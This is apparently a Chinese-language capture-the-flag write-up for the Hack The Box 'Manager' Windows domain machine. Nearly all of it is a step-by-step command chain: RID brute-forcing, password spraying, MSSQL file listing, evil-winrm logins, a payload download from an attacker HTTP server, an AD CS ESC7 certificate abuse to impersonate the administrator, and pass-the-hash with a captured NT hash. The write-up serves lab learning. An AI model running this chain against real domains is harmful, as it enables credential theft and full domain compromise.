域渗透

先fscan扫一下

image-20231106191309453

信息整理一下

1
10.10.11.236   80 88 1433 445 139 smb dc01 5985 winrm端口  manager.htb 

这里这个manager.htb的话fscan没扫出来 这里用nmap来扫

image-20231106192528047

记得把这个域名加到hosts里 不然等会打的时候会失败

先去访问这个80端口

发现是个纯静态的网页 没办法入手 于是尝试进行cme来获取域内的用户 来爆破其密码

image-20231106192818921

1
2
3
crackmapexec smb manager.htb -u anonymous -p "" --rid-brute 100004

//匿名爆破RID 来爆破出域内的用户

image-20231106193106672

1
2
3
4
5
6
7
SMB         manager.htb     445    DC01             1113: MANAGER\Zhong (SidTypeUser)
SMB manager.htb 445 DC01 1114: MANAGER\Cheng (SidTypeUser)
SMB manager.htb 445 DC01 1115: MANAGER\Ryan (SidTypeUser)
SMB manager.htb 445 DC01 1116: MANAGER\Raven (SidTypeUser)
SMB manager.htb 445 DC01 1117: MANAGER\JinWoo (SidTypeUser)
SMB manager.htb 445 DC01 1118: MANAGER\ChinHae (SidTypeUser)
SMB manager.htb 445 DC01 1119: MANAGER\Operator (SidTypeUser)

image-20231106193627271

1
这里的用户名和密码要小写来记录  

然后使用cme来进行爆破

1
crackmapexec smb manager.htb -u user.txt  -p user.txt

最好爆破出密码

1
2
3
crackmapexec smb manager.htb -u user  -p user

SMB manager.htb 445 DC01 [+] manager.htb\operator:operator

image-20231106194120494

在尝试直接用这个账号密码来登录这个服务器主机的时候 失败了 我们回想到刚开始时的收集到地1这个mssql 直接使用impacket来连接 这里使用MUDT来连接也是可以的 但是这里的话因为这个没用物理机连vpn就不试了

1
impacket-mssqlclient manager.htb/operator:operator@manager.htb -dc-ip 10.10.11.236 -windows-auth

image-20231106194152670

发现命令执行不了 猜测不是sa权限 然后尝试看看能不能读取文件

https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server?source=post_page-----9d4e32d363e4--------------------------------#manual-enumeration

1
EXEC xp_dirtree 'C:\', 1, 1;

image-20231106194301482

发现是可读的 所以挨个尝试 发现了 网站目录

1
EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;

image-20231106194347090

访问这个路径并把文件下载下来 并且访问

image-20231106195033622

发现里面有一个域用户的账号密码

1
raven    raven@manager.htb

开了winrm服务的端口

使用evil-winrm来进行连接 这里就能尝试成功了

1
evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'

然后就能拿到flag

image-20231106201535113

接下来这里的话我是直接跑那个sharphound

1
2
3
4
5
6
7
8
9
10
evil-winrm的话是可以使用upload来上传文件的

upload /root/SharpHound.exe ./


Invoke-WebRequest -Uri "http://10.10.16.14:8000/Certify.exe" -OutFile "Certify.exe"
将sharpblood上传上去 (这个其实也可以上传)


SharpHound.exe --CollectionMethods All --Domain xiaorang.lab --ExcludeDCs

挑了一下那两个用户来看 没发现啥有用的信息

然后跑一下certify 看看有没有证书漏洞可用

1
certipy-ad find -u 'raven@manager.htb'  -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -vulnerable -stdout

image-20231106201552946

然后直接去找这个模板的ESC7的POC来打就行了

https://xz.aliyun.com/t/12267#toc-8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' 


certipy-ad ca -ca 'manager-DC01-CA' -enable-template SubCA -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123'


certipy-ad req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn 'administrator@manager.htb'


certipy-ad ca -ca 'manager-DC01-CA' -issue-request 13 -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123'


certipy-ad req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -retrieve 13

//这里的13是会输出出来的 根据自己生成的来进行替换

然后直接拿获取到的证书来进行身份验证

1
certipy-ad auth -pfx administrator.pfx  -dc-ip 10.10.11.236

这里会报错 因为时间不同 我们是东八区 用的vpn是欧洲的 时差7个小时 所以报错

image-20231106202018558

使用faketime来操作就行了

1
faketime -f +7h certipy-ad auth -pfx ./administrator.pfx -dc-ip 10.10.11.236

image-20231106201957024

然后拿着hash值去打evil-winrm就行了

1
evil-winrm -i 10.10.11.236 -u Administrator -H "ae5064c2f62317332c88629e025924ef"

image-20231106202123442

————— 总结

这里其实学习到的一点就是这个用cme来爆破RID来获取到域内的用户

然后mssql连上去的话不能使用xp_cmdshell来执行命令 只能用EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;来读取文件内容

然后就是最后的话就是用证书模板漏洞来打了 这个还行

ESC7